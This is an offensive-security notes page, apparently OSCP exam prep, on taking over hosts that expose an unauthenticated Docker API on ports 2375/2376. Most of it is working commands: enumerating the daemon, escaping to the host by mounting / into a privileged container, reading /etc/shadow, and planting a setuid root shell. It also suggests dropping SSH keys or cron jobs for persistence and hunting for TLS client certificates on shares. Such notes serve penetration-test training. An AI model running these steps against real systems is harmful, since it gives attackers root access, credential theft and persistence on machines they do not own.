Howlsec
HOWLSEC
offensive security
// notes
📡

Docker (Tcp 2375)

Notes from oscp.adot8.com — services.

#services#adot8
source · oscp.adot8.com · services/docker-less-than-tcp-2375-greater-than ↗

Docker API <tcp 2375 / 2376>

Unauthenticated Docker daemon = instant root on the host. Jackpot port.

Nmap

🐺 howlsec@kali
01nmap -p2375,2376,4243 --script "docker-version" -sV $ip

Verify

🐺 howlsec@kali
01curl -s http://$ip:2375/version

02curl -s http://$ip:2375/containers/json

03curl -s http://$ip:2375/images/json

Point local docker CLI at it

🐺 howlsec@kali
01export DOCKER_HOST=tcp://$ip:2375

02docker version

03docker ps -a

04docker images

Escape to host — mount / into a container

🐺 howlsec@kali
01docker -H tcp://$ip:2375 run --rm -it -v /:/mnt --privileged alpine chroot /mnt sh

You are now root on the host. Grab /etc/shadow, drop an SSH key, add a cron job.

🐺 howlsec@kali
01cat /mnt/etc/shadow

Pure curl (no docker CLI needed)

🐺 howlsec@kali
01curl -s -X POST http://$ip:2375/containers/create -H "Content-Type: application/json" -d '{

02  "Image":"alpine",

03  "Cmd":["/bin/sh","-c","chroot /mnt sh -c \"cp /bin/bash /mnt/tmp/rootbash; chmod +s /mnt/tmp/rootbash\""],

04  "Binds":["/:/mnt"],

05  "HostConfig":{"Privileged":true}

06}'

07curl -s -X POST http://$ip:2375/containers/<id>/start

TLS (2376)

Port 2376 requires client certs. Look for ca.pem, cert.pem, key.pem on other services (NFS/SMB, exported home dirs, ~/.docker/).

🐺 howlsec@kali
01DOCKER_HOST=tcp://$ip:2376 DOCKER_TLS_VERIFY=1 DOCKER_CERT_PATH=./certs docker ps